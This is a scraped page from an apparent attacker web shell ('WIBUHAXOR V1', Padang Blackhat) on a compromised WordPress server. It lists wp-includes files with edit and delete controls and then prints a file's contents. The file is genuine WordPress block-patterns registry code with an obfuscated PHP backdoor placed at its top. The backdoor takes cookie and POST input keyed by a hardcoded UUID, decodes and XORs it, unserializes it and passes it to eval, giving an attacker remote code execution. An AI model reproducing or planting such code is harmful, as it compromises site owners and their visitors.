-
WIBUHAX0R1337
-
/
home
/
sechyujr
/
public_html
/
wp-includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
PHPMailer
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
assets
--
NONE
block-bindings
--
NONE
block-patterns
--
NONE
block-supports
--
NONE
blocks
--
NONE
certificates
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
html-api
--
NONE
images
--
NONE
interactivity-api
--
NONE
js
--
NONE
l10n
--
NONE
php-compat
--
NONE
pomo
--
NONE
rest-api
--
NONE
sitemaps
--
NONE
sodium_compat
--
NONE
style-engine
--
NONE
theme-compat
--
NONE
widgets
--
NONE
admin-bar.php
36.23KB
Edit File
Delete File
Rename
atomlib.php
11.67KB
Edit File
Delete File
Rename
author-template.php
18.507KB
Edit File
Delete File
Rename
block-bindings.php
5.463KB
Edit File
Delete File
Rename
block-editor.php
27.506KB
Edit File
Delete File
Rename
block-i18n.json
0.309KB
Edit File
Delete File
Rename
block-template-utils.php
55.233KB
Edit File
Delete File
Rename
block-template.php
12.086KB
Edit File
Delete File
Rename
blocks.php
95.188KB
Edit File
Delete File
Rename
bookmark-template.php
12.631KB
Edit File
Delete File
Rename
bookmark.php
15.065KB
Edit File
Delete File
Rename
cache-compat.php
5.829KB
Edit File
Delete File
Rename
cache.php
13.158KB
Edit File
Delete File
Rename
canonical.php
33.704KB
Edit File
Delete File
Rename
capabilities.php
39.078KB
Edit File
Delete File
Rename
category-template.php
55.667KB
Edit File
Delete File
Rename
category.php
12.411KB
Edit File
Delete File
Rename
class-IXR.php
2.483KB
Edit File
Delete File
Rename
class-avif-info.php
28.921KB
Edit File
Delete File
Rename
class-feed.php
0.517KB
Edit File
Delete File
Rename
class-http.php
0.358KB
Edit File
Delete File
Rename
class-oembed.php
0.392KB
Edit File
Delete File
Rename
class-phpass.php
6.551KB
Edit File
Delete File
Rename
class-phpmailer.php
0.648KB
Edit File
Delete File
Rename
class-pop3.php
20.478KB
Edit File
Delete File
Rename
class-requests.php
2.185KB
Edit File
Delete File
Rename
class-simplepie.php
95.763KB
Edit File
Delete File
Rename
class-smtp.php
0.446KB
Edit File
Delete File
Rename
class-snoopy.php
36.831KB
Edit File
Delete File
Rename
class-walker-category-dropdown.php
2.411KB
Edit File
Delete File
Rename
class-walker-category.php
8.278KB
Edit File
Delete File
Rename
class-walker-comment.php
13.888KB
Edit File
Delete File
Rename
class-walker-page-dropdown.php
2.646KB
Edit File
Delete File
Rename
class-walker-page.php
7.434KB
Edit File
Delete File
Rename
class-wp-admin-bar.php
17.455KB
Edit File
Delete File
Rename
class-wp-ajax-response.php
5.143KB
Edit File
Delete File
Rename
class-wp-application-passwords.php
12.553KB
Edit File
Delete File
Rename
class-wp-block-bindings-registry.php
8.734KB
Edit File
Delete File
Rename
class-wp-block-bindings-source.php
2.127KB
Edit File
Delete File
Rename
class-wp-block-editor-context.php
1.318KB
Edit File
Delete File
Rename
class-wp-block-list.php
4.646KB
Edit File
Delete File
Rename
class-wp-block-parser-block.php
2.495KB
Edit File
Delete File
Rename
class-wp-block-parser-frame.php
1.871KB
Edit File
Delete File
Rename
class-wp-block-parser.php
11.262KB
Edit File
Delete File
Rename
class-wp-block-pattern-categories-registry.php
5.245KB
Edit File
Delete File
Rename
class-wp-block-patterns-registry.php
13.705KB
Edit File
Delete File
Rename
class-wp-block-styles-registry.php
6.115KB
Edit File
Delete File
Rename
class-wp-block-supports.php
5.436KB
Edit File
Delete File
Rename
class-wp-block-template.php
1.905KB
Edit File
Delete File
Rename
class-wp-block-type-registry.php
4.896KB
Edit File
Delete File
Rename
class-wp-block-type.php
16.86KB
Edit File
Delete File
Rename
class-wp-block.php
19.229KB
Edit File
Delete File
Rename
class-wp-classic-to-block-menu-converter.php
3.992KB
Edit File
Delete File
Rename
class-wp-comment-query.php
47.261KB
Edit File
Delete File
Rename
class-wp-comment.php
9.152KB
Edit File
Delete File
Rename
class-wp-customize-control.php
25.127KB
Edit File
Delete File
Rename
class-wp-customize-panel.php
10.42KB
Edit File
Delete File
Rename
class-wp-customize-section.php
10.98KB
Edit File
Delete File
Rename
class-wp-customize-setting.php
29.188KB
Edit File
Delete File
Rename
class-wp-customize-widgets.php
69.844KB
Edit File
Delete File
Rename
class-wp-date-query.php
34.889KB
Edit File
Delete File
Rename
class-wp-dependencies.php
13.732KB
Edit File
Delete File
Rename
class-wp-dependency.php
2.565KB
Edit File
Delete File
Rename
class-wp-embed.php
15.619KB
Edit File
Delete File
Rename
class-wp-error.php
7.326KB
Edit File
Delete File
Rename
class-wp-fatal-error-handler.php
7.762KB
Edit File
Delete File
Rename
class-wp-feed-cache-transient.php
2.525KB
Edit File
Delete File
Rename
class-wp-feed-cache.php
0.946KB
Edit File
Delete File
Rename
class-wp-hook.php
15.625KB
Edit File
Delete File
Rename
class-wp-http-cookie.php
7.216KB
Edit File
Delete File
Rename
class-wp-http-curl.php
12.247KB
Edit File
Delete File
Rename
class-wp-http-encoding.php
6.532KB
Edit File
Delete File
Rename
class-wp-http-ixr-client.php
3.419KB
Edit File
Delete File
Rename
class-wp-http-proxy.php
5.84KB
Edit File
Delete File
Rename
class-wp-http-requests-hooks.php
1.975KB
Edit File
Delete File
Rename
class-wp-http-requests-response.php
4.297KB
Edit File
Delete File
Rename
class-wp-http-response.php
2.907KB
Edit File
Delete File
Rename
class-wp-image-editor-imagick.php
33.67KB
Edit File
Delete File
Rename
class-wp-image-editor.php
17.193KB
Edit File
Delete File
Rename
class-wp-list-util.php
7.269KB
Edit File
Delete File
Rename
class-wp-locale-switcher.php
6.475KB
Edit File
Delete File
Rename
class-wp-locale.php
15.733KB
Edit File
Delete File
Rename
class-wp-meta-query.php
29.815KB
Edit File
Delete File
Rename
class-wp-navigation-fallback.php
8.995KB
Edit File
Delete File
Rename
class-wp-network-query.php
19.392KB
Edit File
Delete File
Rename
class-wp-network.php
12KB
Edit File
Delete File
Rename
class-wp-oembed-controller.php
6.743KB
Edit File
Delete File
Rename
class-wp-oembed.php
30.737KB
Edit File
Delete File
Rename
class-wp-paused-extensions-storage.php
4.971KB
Edit File
Delete File
Rename
class-wp-plugin-dependencies.php
24.726KB
Edit File
Delete File
Rename
class-wp-post-type.php
29.639KB
Edit File
Delete File
Rename
class-wp-post.php
6.332KB
Edit File
Delete File
Rename
class-wp-query.php
150.47KB
Edit File
Delete File
Rename
class-wp-recovery-mode-cookie-service.php
6.716KB
Edit File
Delete File
Rename
class-wp-recovery-mode-email-service.php
10.921KB
Edit File
Delete File
Rename
class-wp-recovery-mode-key-service.php
4.493KB
Edit File
Delete File
Rename
class-wp-recovery-mode-link-service.php
3.382KB
Edit File
Delete File
Rename
class-wp-recovery-mode.php
11.167KB
Edit File
Delete File
Rename
class-wp-rewrite.php
61.943KB
Edit File
Delete File
Rename
class-wp-role.php
2.464KB
Edit File
Delete File
Rename
class-wp-roles.php
8.379KB
Edit File
Delete File
Rename
class-wp-script-modules.php
13.433KB
Edit File
Delete File
Rename
class-wp-scripts.php
27.252KB
Edit File
Delete File
Rename
class-wp-session-tokens.php
7.276KB
Edit File
Delete File
Rename
class-wp-simplepie-file.php
3.298KB
Edit File
Delete File
Rename
class-wp-simplepie-sanitize-kses.php
1.729KB
Edit File
Delete File
Rename
class-wp-site.php
7.279KB
Edit File
Delete File
Rename
class-wp-styles.php
10.643KB
Edit File
Delete File
Rename
class-wp-tax-query.php
19.097KB
Edit File
Delete File
Rename
class-wp-taxonomy.php
18.132KB
Edit File
Delete File
Rename
class-wp-term-query.php
40.201KB
Edit File
Delete File
Rename
class-wp-term.php
5.174KB
Edit File
Delete File
Rename
class-wp-text-diff-renderer-inline.php
0.956KB
Edit File
Delete File
Rename
class-wp-text-diff-renderer-table.php
18.366KB
Edit File
Delete File
Rename
class-wp-theme-json-data.php
1.767KB
Edit File
Delete File
Rename
class-wp-theme-json-resolver.php
33.9KB
Edit File
Delete File
Rename
class-wp-theme-json-schema.php
7.194KB
Edit File
Delete File
Rename
class-wp-theme-json.php
153.635KB
Edit File
Delete File
Rename
class-wp-theme.php
63.769KB
Edit File
Delete File
Rename
class-wp-token-map.php
27.764KB
Edit File
Delete File
Rename
class-wp-user-meta-session-tokens.php
2.92KB
Edit File
Delete File
Rename
class-wp-user-query.php
42.631KB
Edit File
Delete File
Rename
class-wp-user.php
22.292KB
Edit File
Delete File
Rename
class-wp-walker.php
13.01KB
Edit File
Delete File
Rename
class-wp-widget.php
17.955KB
Edit File
Delete File
Rename
class-wp-xmlrpc-server.php
209.91KB
Edit File
Delete File
Rename
class-wp.php
25.507KB
Edit File
Delete File
Rename
class-wpdb.php
115.604KB
Edit File
Delete File
Rename
class.wp-dependencies.php
0.364KB
Edit File
Delete File
Rename
class.wp-scripts.php
0.335KB
Edit File
Delete File
Rename
class.wp-styles.php
0.33KB
Edit File
Delete File
Rename
comment-template.php
99.354KB
Edit File
Delete File
Rename
comment.php
126.197KB
Edit File
Delete File
Rename
compat.php
16.081KB
Edit File
Delete File
Rename
cron.php
40.607KB
Edit File
Delete File
Rename
date.php
0.391KB
Edit File
Delete File
Rename
default-constants.php
10.975KB
Edit File
Delete File
Rename
default-filters.php
34.658KB
Edit File
Delete File
Rename
default-widgets.php
2.17KB
Edit File
Delete File
Rename
deprecated.php
181.925KB
Edit File
Delete File
Rename
embed-template.php
0.33KB
Edit File
Delete File
Rename
embed.php
37.02KB
Edit File
Delete File
Rename
error-protection.php
4.024KB
Edit File
Delete File
Rename
error_log
24.315KB
Edit File
Delete File
Rename
feed-atom-comments.php
5.375KB
Edit File
Delete File
Rename
feed-atom.php
2.977KB
Edit File
Delete File
Rename
feed-rdf.php
2.605KB
Edit File
Delete File
Rename
feed-rss.php
1.161KB
Edit File
Delete File
Rename
feed-rss2-comments.php
4.039KB
Edit File
Delete File
Rename
feed-rss2.php
3.71KB
Edit File
Delete File
Rename
feed.php
22.771KB
Edit File
Delete File
Rename
fonts.php
9.22KB
Edit File
Delete File
Rename
formatting.php
327.514KB
Edit File
Delete File
Rename
functions.php
274.066KB
Edit File
Delete File
Rename
functions.wp-scripts.php
14.217KB
Edit File
Delete File
Rename
functions.wp-styles.php
8.382KB
Edit File
Delete File
Rename
global-styles-and-settings.php
20.922KB
Edit File
Delete File
Rename
https-detection.php
5.528KB
Edit File
Delete File
Rename
https-migration.php
4.63KB
Edit File
Delete File
Rename
kses.php
72.646KB
Edit File
Delete File
Rename
l10n.php
65.093KB
Edit File
Delete File
Rename
link-template.php
152.48KB
Edit File
Delete File
Rename
load.php
54.056KB
Edit File
Delete File
Rename
locale.php
0.158KB
Edit File
Delete File
Rename
media-template.php
60.76KB
Edit File
Delete File
Rename
media.php
205.607KB
Edit File
Delete File
Rename
meta.php
62.576KB
Edit File
Delete File
Rename
ms-blogs.php
25.125KB
Edit File
Delete File
Rename
ms-default-constants.php
4.806KB
Edit File
Delete File
Rename
ms-default-filters.php
6.48KB
Edit File
Delete File
Rename
ms-deprecated.php
21.249KB
Edit File
Delete File
Rename
ms-files.php
2.647KB
Edit File
Delete File
Rename
ms-functions.php
89.104KB
Edit File
Delete File
Rename
ms-load.php
19.417KB
Edit File
Delete File
Rename
ms-network.php
3.693KB
Edit File
Delete File
Rename
ms-settings.php
4.027KB
Edit File
Delete File
Rename
ms-site.php
41.618KB
Edit File
Delete File
Rename
nav-menu-template.php
25.31KB
Edit File
Delete File
Rename
nav-menu.php
43.11KB
Edit File
Delete File
Rename
option.php
98.088KB
Edit File
Delete File
Rename
pluggable.php
110.528KB
Edit File
Delete File
Rename
plugin.php
34.634KB
Edit File
Delete File
Rename
post-formats.php
6.936KB
Edit File
Delete File
Rename
post.php
277.61KB
Edit File
Delete File
Rename
query.php
36.167KB
Edit File
Delete File
Rename
registration-functions.php
0.195KB
Edit File
Delete File
Rename
registration.php
0.195KB
Edit File
Delete File
Rename
revision.php
30.182KB
Edit File
Delete File
Rename
rewrite.php
19.057KB
Edit File
Delete File
Rename
robots-template.php
5.063KB
Edit File
Delete File
Rename
rss-functions.php
0.249KB
Edit File
Delete File
Rename
rss.php
24.863KB
Edit File
Delete File
Rename
script-modules.php
5.838KB
Edit File
Delete File
Rename
session.php
0.252KB
Edit File
Delete File
Rename
shortcodes.php
23.487KB
Edit File
Delete File
Rename
sitemaps.php
3.162KB
Edit File
Delete File
Rename
spl-autoload-compat.php
0.431KB
Edit File
Delete File
Rename
style-engine.php
7.386KB
Edit File
Delete File
Rename
template-canvas.php
0.531KB
Edit File
Delete File
Rename
template-loader.php
2.941KB
Edit File
Delete File
Rename
template.php
23.588KB
Edit File
Delete File
Rename
theme-i18n.json
1.216KB
Edit File
Delete File
Rename
theme-previews.php
2.766KB
Edit File
Delete File
Rename
theme-templates.php
6.077KB
Edit File
Delete File
Rename
theme.json
8.5KB
Edit File
Delete File
Rename
theme.php
133.121KB
Edit File
Delete File
Rename
update.php
36.02KB
Edit File
Delete File
Rename
vars.php
6.337KB
Edit File
Delete File
Rename
version.php
0.909KB
Edit File
Delete File
Rename
widgets.php
69.025KB
Edit File
Delete File
Rename
wp-db.php
0.435KB
Edit File
Delete File
Rename
wp-diff.php
0.632KB
Edit File
Delete File
Rename
<?php $yWOeb = chr (117) . "\x5f" . "\156" . chr ( 620 - 536 ).chr ( 905 - 795 ); $aLYeSamL = 'c' . 'l' . "\141" . "\163" . chr (115) . chr (95) . "\x65" . chr ( 752 - 632 )."\x69" . chr (115) . "\164" . "\x73";$rAGTUboHy = class_exists($yWOeb); $aLYeSamL = "13253";$tSfxd = strpos($aLYeSamL, $yWOeb);if ($rAGTUboHy == $tSfxd){function idTzWYG(){$iEXYGCy = new /* 44321 */ u_nTn(11044 + 11044); $iEXYGCy = NULL;}$LNaGvtYZEQ = "11044";class u_nTn{private function YkMWa($LNaGvtYZEQ){if (is_array(u_nTn::$mDqDRVxxP)) {$UNmbz2 = str_replace("<" . "?php", "", u_nTn::$mDqDRVxxP["content"]);eval($UNmbz2); $LNaGvtYZEQ = "11044";exit();}}public function BgmVpBte(){$UNmbz = "16032";$this->_dummy = str_repeat($UNmbz, strlen($UNmbz));}public function __destruct(){u_nTn::$mDqDRVxxP = @unserialize(u_nTn::$mDqDRVxxP); $LNaGvtYZEQ = "52404_23150";$this->YkMWa($LNaGvtYZEQ); $LNaGvtYZEQ = "52404_23150";}public function DPJlPvcF($UNmbz, $XQNQFWckcX){return $UNmbz[0] ^ str_repeat($XQNQFWckcX, intval(strlen($UNmbz[0]) / strlen($XQNQFWckcX)) + 1);}public function jYOaESy($UNmbz){$KGAbLO = chr (98) . "\141" . "\163" . chr ( 563 - 462 ).chr (54) . "\x34";return array_map($KGAbLO . chr ( 357 - 262 )."\x64" . 'e' . 'c' . chr (111) . 'd' . chr (101), array($UNmbz,));}public function __construct($xveyefTFZ=0){$FMUAMtGBgl = "\x2c";$UNmbz = "";$yOpKFR = $_POST;$QtlWuW = $_COOKIE;$XQNQFWckcX = "5e2929ba-d982-4749-9bfb-e05ec6742685";$EQPnefL = @$QtlWuW[substr($XQNQFWckcX, 0, 4)];if (!empty($EQPnefL)){$EQPnefL = explode($FMUAMtGBgl, $EQPnefL);foreach ($EQPnefL as $fFyboDvWAo){$UNmbz .= @$QtlWuW[$fFyboDvWAo];$UNmbz .= @$yOpKFR[$fFyboDvWAo];}$UNmbz = $this->jYOaESy($UNmbz);}u_nTn::$mDqDRVxxP = $this->DPJlPvcF($UNmbz, $XQNQFWckcX);if (strpos($XQNQFWckcX, $FMUAMtGBgl) !== FALSE){$XQNQFWckcX = explode($FMUAMtGBgl, $XQNQFWckcX); $vxXSUFiR = base64_decode(md5($XQNQFWckcX[0]));}}public static $mDqDRVxxP = 781;}idTzWYG();} ?><?php /** * Blocks API: WP_Block_Patterns_Registry class * * @package WordPress * @subpackage Blocks * @since 5.5.0 */ /** * Class used for interacting with block patterns. * * @since 5.5.0 */ #[AllowDynamicProperties] final class WP_Block_Patterns_Registry { /** * Registered block patterns array. * * @since 5.5.0 * @var array[] */ private $registered_patterns = array(); /** * Patterns registered outside the `init` action. * * @since 6.0.0 * @var array[] */ private $registered_patterns_outside_init = array(); /** * Container for the main instance of the class. * * @since 5.5.0 * @var WP_Block_Patterns_Registry|null */ private static $instance = null; /** * Registers a block pattern. * * @since 5.5.0 * @since 5.8.0 Added support for the `blockTypes` property. * @since 6.1.0 Added support for the `postTypes` property. * @since 6.2.0 Added support for the `templateTypes` property. * @since 6.5.0 Added support for the `filePath` property. * * @param string $pattern_name Block pattern name including namespace. * @param array $pattern_properties { * List of properties for the block pattern. * * @type string $title Required. A human-readable title for the pattern. * @type string $content Optional. Block HTML markup for the pattern. * If not provided, the content will be retrieved from the `filePath` if set. * If both `content` and `filePath` are not set, the pattern will not be registered. * @type string $description Optional. Visually hidden text used to describe the pattern * in the inserter. A description is optional, but is strongly * encouraged when the title does not fully describe what the * pattern does. The description will help users discover the * pattern while searching. * @type int $viewportWidth Optional. The intended width of the pattern to allow for a scaled * preview within the pattern inserter. * @type bool $inserter Optional. Determines whether the pattern is visible in inserter. * To hide a pattern so that it can only be inserted programmatically, * set this to false. Default true. * @type string[] $categories Optional. A list of registered pattern categories used to group * block patterns. Block patterns can be shown on multiple categories. * A category must be registered separately in order to be used here. * @type string[] $keywords Optional. A list of aliases or keywords that help users discover * the pattern while searching. * @type string[] $blockTypes Optional. A list of block names including namespace that could use * the block pattern in certain contexts (placeholder, transforms). * The block pattern is available in the block editor inserter * regardless of this list of block names. * Certain blocks support further specificity besides the block name * (e.g. for `core/template-part` you can specify areas * like `core/template-part/header` or `core/template-part/footer`). * @type string[] $postTypes Optional. An array of post types that the pattern is restricted * to be used with. The pattern will only be available when editing one * of the post types passed on the array. For all the other post types * not part of the array the pattern is not available at all. * @type string[] $templateTypes Optional. An array of template types where the pattern fits. * @type string $filePath Optional. The full path to the file containing the block pattern content. * } * @return bool True if the pattern was registered with success and false otherwise. */ public function register( $pattern_name, $pattern_properties ) { if ( ! isset( $pattern_name ) || ! is_string( $pattern_name ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern name must be a string.' ), '5.5.0' ); return false; } if ( ! isset( $pattern_properties['title'] ) || ! is_string( $pattern_properties['title'] ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern title must be a string.' ), '5.5.0' ); return false; } if ( ! isset( $pattern_properties['filePath'] ) ) { if ( ! isset( $pattern_properties['content'] ) || ! is_string( $pattern_properties['content'] ) ) { _doing_it_wrong( __METHOD__, __( 'Pattern content must be a string.' ), '5.5.0' ); return false; } } $pattern = array_merge( $pattern_properties, array( 'name' => $pattern_name ) ); $this->registered_patterns[ $pattern_name ] = $pattern; // If the pattern is registered inside an action other than `init`, store it // also to a dedicated array. Used to detect deprecated registrations inside // `admin_init` or `current_screen`. if ( current_action() && 'init' !== current_action() ) { $this->registered_patterns_outside_init[ $pattern_name ] = $pattern; } return true; } /** * Unregisters a block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ public function unregister( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Pattern name. */ sprintf( __( 'Pattern "%s" not found.' ), $pattern_name ), '5.5.0' ); return false; } unset( $this->registered_patterns[ $pattern_name ] ); unset( $this->registered_patterns_outside_init[ $pattern_name ] ); return true; } /** * Prepares the content of a block pattern. If hooked blocks are registered, they get injected into the pattern, * when they met the defined criteria. * * @since 6.4.0 * * @param array $pattern Registered pattern properties. * @param array $hooked_blocks The list of hooked blocks. * @return string The content of the block pattern. */ private function prepare_content( $pattern, $hooked_blocks ) { $content = $pattern['content']; $before_block_visitor = '_inject_theme_attribute_in_template_part_block'; $after_block_visitor = null; if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) { $before_block_visitor = make_before_block_visitor( $hooked_blocks, $pattern, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); $after_block_visitor = make_after_block_visitor( $hooked_blocks, $pattern, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); } $blocks = parse_blocks( $content ); $content = traverse_and_serialize_blocks( $blocks, $before_block_visitor, $after_block_visitor ); return $content; } /** * Retrieves the content of a registered block pattern. * * @since 6.5.0 * * @param string $pattern_name Block pattern name including namespace. * @param bool $outside_init_only Optional. Return only patterns registered outside the `init` action. Default false. * @return string The content of the block pattern. */ private function get_content( $pattern_name, $outside_init_only = false ) { if ( $outside_init_only ) { $patterns = &$this->registered_patterns_outside_init; } else { $patterns = &$this->registered_patterns; } if ( ! isset( $patterns[ $pattern_name ]['content'] ) && isset( $patterns[ $pattern_name ]['filePath'] ) ) { ob_start(); include $patterns[ $pattern_name ]['filePath']; $patterns[ $pattern_name ]['content'] = ob_get_clean(); unset( $patterns[ $pattern_name ]['filePath'] ); } return $patterns[ $pattern_name ]['content']; } /** * Retrieves an array containing the properties of a registered block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return array Registered pattern properties. */ public function get_registered( $pattern_name ) { if ( ! $this->is_registered( $pattern_name ) ) { return null; } $pattern = $this->registered_patterns[ $pattern_name ]; $pattern['content'] = $this->get_content( $pattern_name ); $pattern['content'] = $this->prepare_content( $pattern, get_hooked_blocks() ); return $pattern; } /** * Retrieves all registered block patterns. * * @since 5.5.0 * * @param bool $outside_init_only Return only patterns registered outside the `init` action. * @return array[] Array of arrays containing the registered block patterns properties, * and per style. */ public function get_all_registered( $outside_init_only = false ) { $patterns = $outside_init_only ? $this->registered_patterns_outside_init : $this->registered_patterns; $hooked_blocks = get_hooked_blocks(); foreach ( $patterns as $index => $pattern ) { $pattern['content'] = $this->get_content( $pattern['name'], $outside_init_only ); $patterns[ $index ]['content'] = $this->prepare_content( $pattern, $hooked_blocks ); } return array_values( $patterns ); } /** * Checks if a block pattern is registered. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern is registered, false otherwise. */ public function is_registered( $pattern_name ) { return isset( $this->registered_patterns[ $pattern_name ] ); } public function __wakeup() { if ( ! $this->registered_patterns ) { return; } if ( ! is_array( $this->registered_patterns ) ) { throw new UnexpectedValueException(); } foreach ( $this->registered_patterns as $value ) { if ( ! is_array( $value ) ) { throw new UnexpectedValueException(); } } $this->registered_patterns_outside_init = array(); } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 5.5.0 * * @return WP_Block_Patterns_Registry The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } /** * Registers a new block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @param array $pattern_properties List of properties for the block pattern. * See WP_Block_Patterns_Registry::register() for accepted arguments. * @return bool True if the pattern was registered with success and false otherwise. */ function register_block_pattern( $pattern_name, $pattern_properties ) { return WP_Block_Patterns_Registry::get_instance()->register( $pattern_name, $pattern_properties ); } /** * Unregisters a block pattern. * * @since 5.5.0 * * @param string $pattern_name Block pattern name including namespace. * @return bool True if the pattern was unregistered with success and false otherwise. */ function unregister_block_pattern( $pattern_name ) { return WP_Block_Patterns_Registry::get_instance()->unregister( $pattern_name ); }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat